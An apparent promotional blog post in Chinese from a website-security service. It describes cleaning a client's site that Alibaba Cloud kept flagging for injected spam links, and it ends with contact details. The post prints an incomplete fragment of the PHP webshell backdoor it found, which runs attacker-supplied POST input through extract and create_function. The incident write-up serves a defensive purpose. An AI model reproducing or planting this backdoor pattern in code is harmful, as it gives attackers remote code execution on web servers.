解决网站老是被挂马,收到挂马邮件通知 网站URL涉及违法不良信息,违反了相关协议

  • A+

我们网站老是被挂马,而且链接网站里面也没有,但是阿里那边一直给发挂马邮件 ,得得的后台 这个可以处理吗?

今天我们 360°网站安全加固 收到客户一大早联系我们 说遇到问题了,

解决网站老是被挂马,收到挂马邮件通知 网站URL涉及违法不良信息,违反了相关协议

这些链接网站里面找不到但是老被挂
有售后吧
行,主要别处理完还被挂

于是,客户提供我们主机信息, FTP 账号密码, 我们技术人员立马进行排查问题

经过半小时排查,我们找到了问题的根本原因,截图给客户看,大概如下

客户的网站代码中 被植入了 远程后门, 部分代码如下

@extract(array(b=>create_function(NULL,fun2())));
@extract(array(c=>$b()));
function fun2(){
$b=$_POST;
return @($b

下载密码:发表评论并刷新可见!
);

解决网站老是被挂马,收到挂马邮件通知 网站URL涉及违法不良信息,违反了相关协议

这才是导致问题的根本原因,

于是 我们技术 把这些垃圾代码,处理以后,在进行全面的2次检查,修复,加固程序,最终解决问题

阿里处罚分析:从本次事件可以看出,阿里是对存在问题的文章进行了屏蔽,对于域名下的其它正常         页面是正常访问的,这点还是比较人道的。

所以在这里 360°网站安全加固 呼吁 各位站长 一定要注意网站服务器安全,以免这样出现被黑入侵 ,长期不处理,阿里云是会永久给贵站屏蔽 不让使用的  后果相当严重

对于 程序代码上的漏洞,需要有安全意识,懂程序代码的程序员才能修复的了,如果自己不懂程序代码,也可以找一些安全公司来解决,比如我们 360°网站安全加固

解决网站老是被挂马,收到挂马邮件通知 网站URL涉及违法不良信息,违反了相关协议

  • 微信 wzgj360
  • 联系免费答疑
  • weinxin
  • QQ 613049615
  • 联系免费答疑
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: